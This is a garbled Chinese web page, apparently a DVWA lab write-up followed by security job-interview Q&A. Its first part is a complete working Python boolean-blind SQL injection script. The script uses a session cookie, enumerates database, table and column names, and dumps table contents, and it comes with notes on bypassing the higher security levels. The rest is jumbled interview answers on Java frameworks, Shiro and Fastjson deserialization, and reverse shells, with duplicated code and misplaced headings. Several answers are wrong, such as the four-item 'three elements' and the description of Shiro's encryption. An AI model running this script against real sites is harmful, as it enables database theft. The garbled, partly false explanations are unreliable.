print("注入语句 ---> 1' and '1'='1 , 1' and '1'='2")
if low_res("1' and '1'='1") != low_res("1' and '1'='2") :
print('此处存在注入点,并且注入类型为字符型')
elif low_res("1 and 1=1") != low_res("1 and 1=2"):
print('此处存在注入点,并且注入类型为数字型')
else:
print('不存在注入,退出')
quit()print('<-- 猜解数据库名的长度-->')
print("注入语句 ---> 1' and length(database())=1# ")
for i in range(10):
sql = f"1%27+and+length(database())%3D{i}%23"
if low_res(sql) == 1:
databasename_num = i
break
print(f'数据库名称长度为: {databasename_num}')print('<-- 猜解数据库名称 -->')
print("注入语句 ---> 1' and ascii(substr(database(),1,1))>97# ")
database_name=''
for i in range(databasename_num):
for j in range(65,123):
sql = f"1'+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23"
if low_res(sql) == 1:
database_name += chr(j)
break
print(f'数据库名称为:{database_name}\n\n')print('<-- 猜解库中有几张表 -->')
print("注入语句 ---> 1' and (select count(table_name) from information_schema.tables where table_schema='[database_name]')=1# ")
for i in range(9999):
sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{database_name}')%3D{i}%23"
if low_res(sql) == 1:
print(f'该库中有{i}张表\n\n')
table_num = i
break在得到字段长度之后,就可以与ascii码进行对比得到所有的表名
需要理解清楚substr和LIMIT函数的用法.
在做完这一切之后,我觉得实在是太麻烦, 先要确定有几个字段,然后在确定每个字段的长度,最后才可以与ascii进行对比得到结果 ,所以我就想,每一个字段与每一个字段之间是否有 什么比较特殊的字符,结束的时候又有什么标志位,如果解决了这两个问题,那么写脚本就可以依次获得库名,表名,列名以及最终的数据.
在多次尝试之后,我发现
譬如说 查到的结果为 1 2 3 4 5 6,则 123456 之间的ascii码为0,也就是NULL,如果数据本身就为空呢?那么可以判断是否是值+NULL,如果是,则跳转到下一个值,如果不是,则证明
此处的值为NULL.
6 之后是什么呢?不知道,但是ascii码中没有可以匹配上的,所以如果循环了一遍仍然没有匹配上,则证明这次查询已经结束.循环结束的标志已经找到,所以可以直接得到表内的数据. 代码:
print('<--猜解每一列的长度-->')
print("注入语句 ---> 1' and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit
0,1),1))=1#")lie_lenth = []
for i in range(lie_num):
for j in range(9999):
sql = f"1'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+
{i}%2C1)%2C1))%3D{j}%23"
if low_res(sql) == 1:
lie_lenth.append(j)
breakprint('<--猜解每一列的名称-->')
print("注入语句 ---> 1' and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit
0,1),1))=97#")lie_name = ''
lie_name_list = []
for i in range(len(lie_lenth)):
for j in range(lie_lenth[i]):
for g in range(65,123):
sql=f"1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+
{i}%2C1)%2C{j+1}))%3D{g}%23"
if low_res(sql) == 1:
lie_name += chr(g)
print(chr(g),end = '')
break
print('')
lie_name_list.append(lie_name)
lie_name = ''
print(f'该库中的表名为:',end='')
#print(lie_name_list)
list(map(lambda i:print(i,end=' '),[i for i in lie_name_list]))print('<--得到数据-->')
print("注入语句 ---> 1' and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#")data = {}for xxx in range(999):
a = input('退出请输入q,选择表请回车')
if a == 'q':
break
else:
list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(lie_name_list)]))
lie_name = [x for x in lie_name_list][int(input('请选择查看哪个表的数据:'))]
res = ''
huancun = []
for i in range(9999):
for j in range(1,9999):
for g in range(128):
NULL=0
ascii_wu = 0
sql = f"1'+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23"
if low_res(sql) == 1:
if g == 0:
NULL = 1
if res=='':
res == 'NULL'
break
res += chr(g)data中存放着所有查询到的数据,以表格形式输出.
主体函数以及一些自己的理解:#
所有代码如下#
print(chr(g),end = '')
break
else:
ascii_wu = 1
if NULL == 1 or ascii_wu == 1:
break
if ascii_wu == 1:
break
huancun.append(res)
res = ''
print()
data[lie_name] = huancunfor i in data.keys():
print(f'\t{i}\t',end = '')
print()
data_list = list(data.values())
for i in range(len((data_list)[0])):
for j in range(len(data_list)):
print(f'\t{data_list[j][i]}\t',end = '')
print()if __name__ == '__main__':
headers,url = get_header()
sql_attack(headers,url)print('''
Low --> 没什么过滤,直接走一遍盲注的过程就好
Medium --> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好
GET变成POST 解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header)
|
V
sql注入语句在这里
字符型改为数字型 解决 -> 修改sql语句,将1'改为 1
使用mysqli_real_escape_string函数过滤'"等特殊字符 解决 -> 16进制代替
High --> LIMIT限制 解决 -> 最后加# 注释掉就ok
点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响
随机时间等待,防止使用sleep注入,布尔型不影响Impossible --> 添加PDO,无懈可击''')import requests,redef get_header():
print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
url = input()
ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
headers={
'Host': f'{ip}',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': f'{url}',
'Connection': 'close',
'Cookie': f'security=low; PHPSESSID={cookie}',
'Upgrade-Insecure-Requests':'1'
}
return headers,urldef judge(text):
try:
if 'exists' in re.search('User ID.*?database',text).group():
return 1
else :
return 0
except:return 0
def low_res(sql): Id = f’?id={sql}&Submit=Submit#’ #print(url+Id) r = requests.get(url+Id,headers=headers).text #print(r) return judge(r)
def sql_attack(headers,url): print(’<– 判断该网页是否存在注入点–>’) print(“注入语句 —> 1’ and ‘1’=‘1 , 1’ and ‘1’=‘2”) if low_res(“1’ and ‘1’=‘1”) != low_res(“1’ and ‘1’=‘2”) : print(‘此处存在注入点,并且注入类型为字符型’) elif low_res(“1 and 1=1”) != low_res(“1 and 1=2”): print(‘此处存在注入点,并且注入类型为数字型’) else: print(‘不存在注入,退出’) quit() print(’\n’*2)
print(’<– 猜解数据库名的长度–>’) print(“注入语句 —> 1’ and length(database())=1# “) for i in range(10): sql = f"1%27+and+length(database())%3D{i}%23” if low_res(sql) == 1: databasename_num = i break print(f’数据库名称长度为: {databasename_num}’) print(’\n’*2)
print(’<– 猜解数据库名称 –>’) print(“注入语句 —> 1’ and ascii(substr(database(),1,1))>97# “) database_name=’’ for i in range(databasename_num): for j in range(65,123): sql = f"1’+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23” if low_res(sql) == 1: database_name += chr(j) break print(f’数据库名称为:{database_name}\n\n’)
print(’<– 猜解库中有几张表 –>’) print(“注入语句 —> 1’ and (select count(table_name) from information_schema.tables where table_schema=’[database_name]’)=1# “) for i in range(9999): sql = f"1’+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D’{database_name}’)%3D{i}%23” if low_res(sql) == 1: print(f’该库中有{i}张表\n\n’) table_num = i break
print(’<–猜解库中所有的表长度–>’) print(“注入语句 —> 1’ and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#”) table_lenth = [] for i in range(table_num): for j in range(9999): sql = f"1’+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema%3D’{database_name}’+limit+ {i}%2C1)%2C1))%3D{j}%23” if low_res(sql) == 1: table_lenth.append(j) break print(f’该库中的表长度为:’,end=’’) list(map(lambda i:print(i,end=’ ‘),[i for i in table_lenth])) print(’\n’*2)
table_name = ’’ table_name_list = [] print(’<–猜解所有的表名–>’) print(“注入语句 —> 1’ and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#”)
for i in range(len(table_lenth)): for j in range(table_lenth[i]): for g in range(65,123): sql=f"1’+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3D’{database_name}’+limit+ {i}%2C1)%2C{j+1}))={g}%23” if low_res(sql) == 1: table_name += chr(g) print(chr(g),end=’’) break table_name_list.append(table_name) table_name = '’
print(’’) print(f’该库中的表名为:’,end=’’) list(map(lambda i:print(i,end=’ ‘),[i for i in table_name_list])) print(’\n’*2)
print(’<–猜解表中列数–>’) print(“注入语句 —> 1’ and (select count(column_name) from information_schema.columns where table_name=[table_name])=1#”) list(map(lambda x:print(f’{x[0]}:{x[1]}’),[(x,y) for x,y in enumerate(table_name_list)])) table_name = [x for x in table_name_list][int(input(‘请选择查看哪个表的数据:’))]
for i in range(9999): sql = f"1’+and+(select+count(column_name)+from+information_schema.columns+where+table_name%3D’{table_name}’)%3D{i}%23” if low_res(sql) == 1: print(f’该表中有{i}列\n\n’) lie_num = i break
print(’<–猜解每一列的长度–>’) print(“注入语句 —> 1’ and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=1#”)
lie_lenth = [] for i in range(lie_num): for j in range(9999): sql = f"1’+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D’{table_name}’+limit+ {i}%2C1)%2C1))%3D{j}%23” if low_res(sql) == 1: lie_lenth.append(j) break
#print(lie_lenth) print(f’该表中每列的长度为:’,end=’’) list(map(lambda i:print(i,end=’ ‘),[i for i in lie_lenth])) print(’\n’*2)
print(’<–猜解每一列的名称–>’) print(“注入语句 —> 1’ and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=97#”)
lie_name = ’’ lie_name_list = [] for i in range(len(lie_lenth)): for j in range(lie_lenth[i]): for g in range(65,123): sql=f"1’+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D’{table_name}’+limit+ {i}%2C1)%2C{j+1}))%3D{g}%23” if low_res(sql) == 1: lie_name += chr(g) print(chr(g),end = ‘’) break print(’’) lie_name_list.append(lie_name) lie_name = ’’ print(f’该库中的表名为:’,end=’’) #print(lie_name_list) list(map(lambda i:print(i,end=’ ‘),[i for i in lie_name_list])) print(’\n’*2)
print(’<–得到数据–>’) print(“注入语句 —> 1’ and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#”)
data = {}
for xxx in range(999): a = input(‘退出请输入q,选择表请回车’) if a == ‘q’: break else: list(map(lambda x:print(f’{x[0]}:{x[1]}’),[(x,y) for x,y in enumerate(lie_name_list)])) lie_name = [x for x in lie_name_list][int(input(‘请选择查看哪个表的数据:’))] res = ’’ huancun = [] for i in range(9999): for j in range(1,9999): for g in range(128): NULL=0 ascii_wu = 0 sql = f"1’+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23” if low_res(sql) == 1: if g == 0: NULL = 1 if res==’’: res == ‘NULL’
break res += chr(g) print(chr(g),end = ‘’) break else: ascii_wu = 1 if NULL == 1 or ascii_wu == 1: break if ascii_wu == 1: break huancun.append(res) res = ’’ print() data[lie_name] = huancun
for i in data.keys(): print(f’\t{i}\t’,end = ‘’) print() data_list = list(data.values()) for i in range(len((data_list)[0])): for j in range(len(data_list)): print(f’\t{data_list[j][i]}\t’,end = ‘’) print()
if name == ‘main’: headers,url = get_header() sql_attack(headers,url)
print(’’’ Low –> 没什么过滤,直接走一遍盲注的过程就好 Mmedium –> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好 GET变成POST 解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header) | V sql注入语句在这里 字符型改为数字型 解决 -> 修改sql语句,将1’改为 1 使用mysqli_real_escape_string函数过滤’“等特殊字符 解决 -> 16进制代替 High –> LIMIT限制 解决 -> 最后加# 注释掉就ok 点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响 随机时间等待,防止使用sleep注入,布尔型不影响
Impossible –> 添加PDO,无懈可击
‘’’)
运行截图:#
最终结果:#
我对 Python比较熟悉,Python有很多常用的库,以下是其中一些:
1.NumPy:用于科学计算、数据分析和数据可视化的Python库。
2.pandas:用于数据分析和数据清洗的Python库。
3.Matplotlib:用于数据可视化的Python库。
4.TensorFlow:用于机器学习和深度学习的Python库。
5.Django:用于Web应用程序开发的Python框架。
6.Flask:另一个用于Web应用程序开发的Python框架。
7.Requests:用于发送HTTP请求的Python库。
8.Scrapy:用于Web数据挖掘的Python框架。
9.Beautiful Soup:用于HTML和XML解析的Python库。
10.Pygame:用于游戏开发的Python库。
我能够编写一些简单的Goby插件,以自动化执行某些任务并提高效率。我也写过一些小程序,例如用Pygame编写的小游戏和用Flask编写的简单Web应用程序。
常用的爬虫库有以下几个:#
1.Requests:一个HTTP库,可以用来发送HTTP请求,是Python中最常用的网络库之一。
2.Beautiful Soup:一个HTML和XML解析库,可以从HTML或XML文档中提取数据。3. Scrapy:一个用于Web数据挖掘的Python框架,可以自动化爬取网页并提取数据。
4.Selenium:一个自动化测试工具,可以模拟用户在浏览器中的行为,例如点击、输入等,也可以用来爬取需要登录才能访问的网站。
5.PyQuery:一个类似于jQuery的Python库,可以用来解析HTML文档并提取数据。6. PySpider:一个轻量级的爬虫框架,采用异步I/O技术,可以实现高效的爬取和处理数据。
7.aiohttp:一个异步HTTP库,可以用于异步网络请求,性能较高。
十一、对 Python 熟悉吗?Python 有哪些库? Goby 的插件你会自己写吗?用 python 写过小程序#
吗?#
十二、常用的爬虫库有哪些?#
8.Tesserocr:一个OCR库,可以用于识别图片中的文字,例如验证码等。
9.feedparser:一个用于解析RSS和Atom订阅源的Python库,可以用于自动化获取新闻和博客等内容。
10.newspaper3k:一个用于提取新闻文章的Python库,可以自动化获取新闻网站上的文章并提取正文、作者、发布时间等信息。
常用的Python库:
在爬虫过程中,可能会遇到反爬虫措施,例如IP封锁、验证码、频率限制等。为了避免被反爬虫机制识别,可以采取一些措施,例如随机更换User-Agent头、使用代理服务器、 模拟人类行为等。 关于批量处理漏洞的脚本,Python可以用于编写自动化漏洞扫描和利用工具。例如,可以使用Python编写一个脚本,自动化扫描目标网站的漏洞,并尝试利 用已知的漏洞进行攻击。
Java主流的框架有很多,以下是其中一些:
1.Spring:Spring是一个轻量级的Java企业级开发框架,用于构建Web应用程序和企业级应用程序。它提供了依赖注入(DI)和面向切面编程(AOP)等功能,可以大大简化开 发过程。
2.Hibernate:Hibernate是一种Java持久化框架,用于将Java对象映射到关系数据库中。它提供了对象关系映射(ORM)功能,并支持多种数据库。
3.Struts:Struts是一个MVC框架,用于构建Web应用程序。它提供了请求处理、数据验证、表单处理等功能,可以帮助开发人员更快地构建Web应用程序。
4.MyBatis:MyBatis是一种Java持久化框架,用于将SQL语句映射到Java方法中。它提供了ORM功能,并支持自定义SQL查询。
5.Log4j:Log4j是一个Java日志框架,用于记录应用程序的日志信息。它提供了灵活的配置选项,可以根据需要记录不同级别的日志信息。
6.Apache Kafka:Apache Kafka是一种分布式流处理平台,用于构建实时数据管道和流式应用程序。它可以处理大量的数据流,支持高可扩展性和高性能。
7.Apache Camel:Apache Camel是一种集成框架,用于构建企业级应用程序。它提供了大量的组件和路由器,可以将不同的应用程序组件连接在一起,实现数据的转换和传 输。
8.Netty:Netty是一个高性能的网络应用程序框架,用于构建各种类型的网络应用程序,包括Web应用程序、协议服务器和客户端等。它提供了异步事件驱动的网络通信,支持 多种协议和编解码器。这些框架都是Java开发中非常重要的工具,可以大大提高开发效率和应用程序性能。
中间件漏洞是一种常见的漏洞类型,包括各种应用程序、框架和库的漏洞,例如Web应用程序、数据库、消息队列等。其中Spring全家桶中的Spring Core和Struts2是常见的中 间件。下面是它们的简要介绍和原理: Spring Core是Spring Framework的核心组件,提供了依赖注入(DI)、面向切面编程(AOP)和控制反转(IoC)等功能。其原理是通 过BeanFactory、ApplicationContext和BeanPostProcessor等组件来管理和创建Java对象,并将它们之间的依赖关系注入到对象中。Spring Core通过XML、注解和Java配置等 方式来配置应用程序,并提供了各种扩展点和插件机制,可以大大简化开发过程,提高应用程序的可维护性和可扩展性。
Struts2是一个MVC框架,用于构建Web应用程序。其原理是通过拦截器(Interceptor)、请求处理器(Action)和标签库(Tag Library)等组件来处理HTTP请求,并提供了请 求处理、数据验证、表单处理等功能。Struts2通过XML配置文件、注解和拦截器栈等方式来配置应用程序,并提供了多种扩展点和插件机制,可以大大简化开发过程,提高应用 程序的可维护性和可扩展性。
Shiro是一个Java安全框架,提供了身份认证、授权、加密和会话管理等功能。其原理是通过SecurityManager、Realm和Subject等组件来管理和验证用户身份,并实现对资源的 授权和加密。Shiro通过INI配置文件和Java代码等方式来配置应用程序,并提供了多种扩展点和插件机制,可以大大简化开发过程,提高应用程序的安全性和可维护性。 在使用 Spring框架和Struts2框架开发应用程序时,需要注意它们的安全性和漏洞问题。例如,Spring框架可能存在依赖注入(DI)漏洞,Struts2框架可能存在远程代码执行(RCE)漏 洞。
Java的Web项目可以使用多种框架来搭建,其中比较常用的有Spring、SpringMVC、Struts2等。这些框架都可以基于Servlet API进行开发,但是在开发过程中会更加方便和高 效。 其中,Servlet是Java Web应用程序的基础组件之一,用于处理HTTP请求和响应。Struts2是一个MVC框架,提供了请求处理、数据验证、表单处理等功能。Shiro是一个 Java安全框架,提供了身份认证、授权、加密和会话管理等功能。
关于Java写的塔克大战,面向对象的设计可以从以下几个方面考虑:
十三、python 写过啥?写的什么爬虫?爬虫用到什么库?反爬虫有什么了解吗?有用 Python 写过#
批量处理漏洞的脚本吗?#
requests:发送HTTP请求
BeautifulSoup:解析HTML和XML文档
Scrapy:用于Web数据挖掘的Python框架
Selenium:用于Web自动化测试和爬虫
Pandas:数据分析库
NumPy:用于科学计算的库
Matplotlib:用于数据可视化的库十四、说一下 Java 主流的框架?#
十五、中间件漏洞 spring 全家桶 spring core 原理、structs2 原理有了解过用 spring 框架?shiro#
S2 的代码吗?#
十六、java 的 web 项目用什么写的? servlet 还是 S2 还是 shiro? java 写的塔克大战 怎么面向对#
象的?什么对象?#
正向 Shell 和反向 Shell 是两种不同的攻击方式,用于远程控制受害者的计算机。
正向 Shell:攻击者在自己的计算机上开启一个监听程序(Server),等待受害者计算机主动连接。一旦受害者计算机连接到攻击者的计算机,攻击者便可以通过命令行界面远程 控制受害者计算机。
反向 Shell:攻击者在受害者计算机上植入一个恶意程序,使其成为一个后门程序。一旦受害者计算机启动该程序并连接到攻击者的计算机,攻击者便可以通过命令行界面远程控 制受害者计算机。
正向 Shell 和反向 Shell 的区别在于连接的方向不同。正向 Shell 是攻击者等待受害者连接;反向 Shell 是攻击者向受害者发起连接。反向 Shell 更容易突破防火墙和 NAT 等网络 屏障,因为它不需要攻击者直接连接到受害者计算机,也能够实现远程控制的目的。
序列化和反序列化是指将对象转换为二进制数据或将二进制数据转换为对象的过程。在Java中,可以使用Serializable接口和Externalizable接口来实现对象的序列化和反序列化。 序列化可以将对象进行存储或传输,反序列化可以将二进制数据还原成对象,便于在不同的应用程序之间共享和传输数据。
Fastjson是一个高效的JSON处理库,支持对象的序列化和反序列化。Fastjson的反序列化原理是将JSON字符串解析为Java对象,然后再将Java对象还原为二进制数据。在反序列 化时,Fastjson首先通过JSON解析器将JSON字符串解析为JSONObject对象,然后根据Java对象的类型和注解信息,将JSONObject对象转换为Java对象。在这个过程中, Fastjson会使用反射和对象工厂等技术来创建Java对象,并根据字段类型和名称等信息,为Java对象赋值。
Shiro是一个Java安全框架,支持身份认证、授权、加密和会话管理等功能。Shiro反序列化原理是将二进制数据还原为Java对象,用于恢复会话等信息。在Shiro中,会话信息可 以进行序列化和反序列化,以便在不同的应用程序之间共享和传输数据。当需要反序列化会话信息时,Shiro会使用Java标准库的反序列化机制,调用对象的readObject方法,将 二进制数据转换为Java对象。为了防止反序列化漏洞,Shiro建议使用JDK 8u121或更高版本,并建议使用加密和签名等技术来保护序列化和反序列化数据的安全。
Java反序列化是指将二进制数据转换为Java对象的过程。在Java中,可以使用ObjectInputStream类来进行反序列化,从而将存储的二进制数据还原成Java对象。反序列化通常用 于在不同的应用程序之间共享和传输数据,例如在分布式系统中进行远程方法调用时。反序列化漏洞是指攻击者通过构造恶意的序列化数据来触发Java反序列化过程中的漏洞, 从而实现远程代码执行等攻击。这种漏洞是非常危险的,因为攻击者可以在目标系统上执行任意代码,获取敏感数据或控制整个系统。反序列化漏洞的原理是攻击者构造的恶意 序列化数据会在反序列化过程中触发Java对象的一些特定的方法,例如readObject()方法或readResolve()方法等。攻击者可以在这些方法中注入恶意代码,从而实现远程代码执 行等攻击。
为了防范反序列化漏洞,可以采取以下措施:
1.使用最新版本的Java标准库和第三方库,因为新版本通常会修复已知的漏洞。
2,限制反序列化的输入数据,例如使用白名单或黑名单来限制反序列化的类和包。
3.对反序列化的对象进行校验和验证,以确保它们具有正确的格式和内容。
4.避免将敏感数据序列化到外部存储器或网络中,以避免被攻击者获取。
5.加强系统的安全性,例如使用防火墙、入侵检测系统、安全审计等技术来监控系统的安全状态。综上所述,反序列化漏洞是一种非常危险的漏洞,需要采取有效的防范措施来 保护系统的安全。
去年的 Shiro 加密方式指的是 Shiro 1.2.x 版本中使用的默认加密算法,即 Base64 编码和 MD5 哈希算法。这种加密方式存在一些安全问题,例如 Base64 编码可以被轻易地解 码,MD5 哈希算法也易受到碰撞攻击。因此,从 Shiro 1.3.x 开始,Shiro 不再使用这种默认的加密方式,而是推荐使用更安全的加密算法,例如 SHA-256 和 PBKDF2 等。 现在 的 Shiro 不再硬编码默认加密方式,而是提供了可插拔的加密算法接口,开发者可以根据自己的需求选择合适的加密算法,并将其配置为 Shiro 的默认加密算法。这样可以提高 Shiro 的灵活性和安全性。 如果您正在使用旧版本的 Shiro,您可以手动更改默认的加密算法,例如使用 SHA-256 和 PBKDF2 等更安全的加密算法,以提高系统的安全性。 序列 化和反序列化是用于将对象转换为二进制数据或将二进制数据转换为对象的过程。序列化可以将对象进行存储或传输,反序列化可以将二进制数据还原成对象,便于在不同的应 用程序之间共享和传输数据。在Java中,可以使用Serializable接口和Externalizable接口来实现对象的序列化和反序列化。序列化和反序列化在分布式系统中非常重要,例如在进 行远程方法调用时需要将对象进行序列化和反序列化。但是,反序列化也存在安全风险,攻击者可以通过构造恶意的序列化数据来触发Java反序列化过程中的漏洞,从而实现远 程代码执行等攻击。因此,在进行序列化和反序列化时需要注意安全性问题,例如限制反序列化的输入数据,对反序列化的对象进行校验和验证等。
1. 角色对象:例如玩家、敌人、道具等。#
2. 场景对象:例如地图、障碍物、背景等。#
3. 游戏控制对象:例如游戏引擎、游戏逻辑等。#
4. 游戏状态对象:例如玩家生命值、得分、游戏难度等。 在设计过程中,需要考虑对象之间的关系和交互,以及如何对对象进行封装、继承和多态等面向对象的基本原则。同#
时,需要考虑游戏的可扩展性和可维护性,以便后续进行修改和优化。#
十七、说一下正向 shell 和反向 shell 的区别?#
十八、什么是序列化和反序列化?能说一下 fastjson 反序列化的原理嘛?说一下 shiro 反序列化原#
理#
十九、解释 java 反序列化这个名词,原理是什么,怎么防范?#
二十、说一下去年的 shiro 加密方式,现在的 shiro 还是硬编码吗?怎么去修复?说一下序列化和反#
序列化的作用#
判断一个应用程序是否使用了Shiro框架,可以从以下几个方面入手:
1.代码中是否引入了Shiro的jar包。
2.是否在应用程序的配置文件中配置了Shiro的相关信息,例如Shiro的过滤器、Realm等。
3.是否在应用程序中使用了Shiro提供的安全管理功能,例如认证、授权、加密等。
Shiro框架可以根据功能的不同分为以下几类:
Java三要素指的是Java语言的三大特性:面向对象、封装性、继承性和多态性。其中面向对象是Java语言的核心特性,通过面向对象的思想可以将现实世界中的复杂问题简化为对 象之间的交互,从而提高程序的可维护性、可扩展性和可重用性。封装性指的是将对象的状态和行为封装起来,只对外暴露必要的接口,以达到隐藏实现细节、保护数据安全的 目的。继承性指的是通过继承机制可以在已有类的基础上创建新的类,并且可以继承已有类的属性和方法,从而提高代码的复用性和可维护性。多态性指的是同一个方法可以根 据不同的对象调用出不同的行为,从而提高代码的灵活性和可扩展性。
反射机制是Java语言的一种机制,它允许程序在运行时动态地获取类的信息、创建对象、调用方法和访问属性等。通过反射机制,程序可以在运行时获取类的属性和方法等信 息,并动态地调用它们,从而提高程序的灵活性和可扩展性。反射机制提供了Class、Constructor、Method、Field等类来获取类的信息、创建对象、调用方法和访问属性,可 以对程序进行更加灵活和精细的控制。
Shiro 反序列化的原理是使用 Java 的反序列化机制,将二进制数据反序列化为 Java 对象。Shiro 的反序列化主要是用于会话管理,即将用户的会话信息进行序列化和反序列化, 以便在分布式环境中共享会话信息。在 Shiro 中,会话信息存储在 Session 对象中,Session 对象需要进行序列化和反序列化。Shiro 会将 Session 对象序列化为二进制数据,并 存储到持久化存储中,例如数据库或缓存中。在需要使用 Session 时,Shiro 会将二进制数据反序列化成 Session 对象,以便进行操作。
使用 Shiro 反序列化主要是为了实现分布式环境下的会话管理。在分布式环境中,不同的服务器需要共享会话信息,但是每个服务器的内存空间是相互独立的,无法直接共享。 因此,需要将会话信息存储到持久化存储中,并通过序列化和反序列化实现共享。Shiro 的反序列化机制能够将二进制数据反序列化为 Java 对象,从而实现共享会话信息的目 的。
反序列化的流量原理是客户端发送一个序列化的二进制数据到服务端,服务端通过反序列化将二进制数据还原成 Java 对象,并进行相应的操作。在网络传输过程中,二进制数据 会被打包成数据包进行传输,数据包的大小受到网络带宽和延迟等因素的影响。如果反序列化的数据包过大,会导致网络传输延迟和带宽占用过高,从而影响系统的性能和响应 速度。因此,在进行反序列化时需要注意控制数据包的大小,例如使用分段传输、压缩等技术来减小数据包的大小,从而提高网络传输效率。同时,还需要注意反序列化的安全 性问题,例如限制反序列化的输入数据,对反序列化的对象进行校验和验证等,以避免恶意攻击。
我熟悉的脚本语言包括Python、JavaScript、Shell和Lua等。其中最擅长的是Python,因为它有很多强大的库和工具,例如NumPy、Pandas、Scikit-learn等,可以帮助开发者 快速实现各种应用程序,例如数据分析、机器学习等。
对于安卓四大组件,它们分别是Activity、Service、Broadcast Receiver和Content Provider。
Activity是用户界面的基本组件,可以显示用户界面并响应用户的操作。
Service是后台服务组件,可以在后台执行一些长时间运行的任务,例如下载文件、播放音乐等。
Broadcast Receiver是广播接收器组件,可以接收系统或其他应用程序发送的广播消息,例如网络状态变化、电量变化等。
Content Provider是数据提供器组件,可以提供应用程序的数据给其他应用程序使用,例如联系人、短信等。 了解这些组件可以帮助开发者更好地理解和使用安卓应用程序框 架,从而能够更加高效地开发安卓应用程序。
判断一个 URL 连接是否 sleep 或者网络超时等,需要对该请求设置一个适当的超时时间。如果在该时间内没有得到响应,则可以判断该请求出现了异常,例如 sleep 或者网络超 时等。通常情况下,建议将超时时间设置在几秒钟到十几秒钟之间,具体的时间需要根据实际情况进行调整和优化。
端口转发是一种常见的网络技术,它可以将来自一个端口的网络数据转发到另一个端口,从而实现网络数据的传输和交换。在实际应用中,端口转发可以用于实现内网穿透、负 载均衡、数据加密等功能。我了解端口转发的基本原理和实现方式,同时也使用过一些端口转发工具和框架,例如 Nginx、Haproxy、Frp 等。
二十一、你是怎么判断是不是 shiro 框架的?说一下 shiro 的分类#
1. 认证:负责验证用户的身份信息,例如用户名和密码等。Shiro提供了多种不同的认证方式,例如基于表单的认证、基于OAuth2的认证等。
2. 授权:负责根据用户的身份信息和权限信息来判断用户是否有权执行某些操作。Shiro提供了多种不同的授权方式,例如基于角色的授权、基于权限的授权等。
3. 加密:负责对敏感数据进行加密,以保护数据的安全性。Shiro提供了多种不同的加密算法,例如MD5、SHA、AES等。
4. 会话管理:负责管理用户的会话信息,例如会话的创建、销毁、维护、序列化、反序列化等。Shiro提供了多种不同的会话管理方式,例如基于Cookie的会话管理、基于
URL重写的会话管理等。
5. 缓存管理:负责管理Shiro的缓存信息,以提高系统的性能和响应速度。Shiro提供了多种不同的缓存管理方式,例如基于Ehcache的缓存管理、基于Redis的缓存管理等。
综上所述,Shiro框架提供了多种不同的功能模块,可以帮助开发者快速实现应用程序的安全管理功能。二十二、Java 三要素和反射机制是什么?#
二十三、shiro 反序列化的原理 为什么要使用 shiro 反序列化?反序列化的流量的原理#
二十四、熟悉哪些脚本语言,哪个最擅长?安卓四大组件了解吗?#
二十五、多少个 url 链接在一定响应的时间区间就判断它 sleep 了或者网络超时啥的?端口转发有没#
有做过?#
是的,我了解 XML 文档。XML(Extensible Markup Language)是一种标记语言,用于存储和传输数据。
XML 文档由标记和数据组成,标记用于描述数据的结构和类型,数据则是实际存储的内容。XML 文档的结构包括头部和主体两部分,头部用于指定文档的版本和编码方式,主体 则包含了数据和标记。 XML 文档的结构类似于 HTML 文档,但是它更加通用和灵活,可以用于描述各种类型的数据和应用程序。XML 文档的标记规则和语法也比较简单,容易 理解和使用。
出栈冒泡排序是一种排序算法,它的基本思想是通过不断比较和交换相邻元素的位置,将最大的元素逐渐“冒泡”到数组的最后位置。出栈冒泡排序的逻辑可以分为以下几步:
是的,我了解 HTML、CSS 和 JavaScript。它们是 Web 前端开发中非常重要的三个技术,分别用于实现网页结构、样式和交互功能。
HTML(HyperText Markup Language)是一种标记语言,用于描述网页的结构和内容。通过 HTML,可以定义网页的标题、段落、表格、图像、链接等元素,从而构建出一个 完整的网页。
CSS(Cascading Style Sheets)是一种样式表语言,用于描述网页的外观和风格。通过 CSS,可以将网页的样式和布局与 HTML 文档分离开来,从而实现更加灵活和可维护的 网页设计。
JavaScript 是一种脚本语言,用于实现网页的交互和动态效果。通过 JavaScript,可以实现网页的表单验证、动画效果、数据交互等功能,从而提高用户体验和网页的交互性。
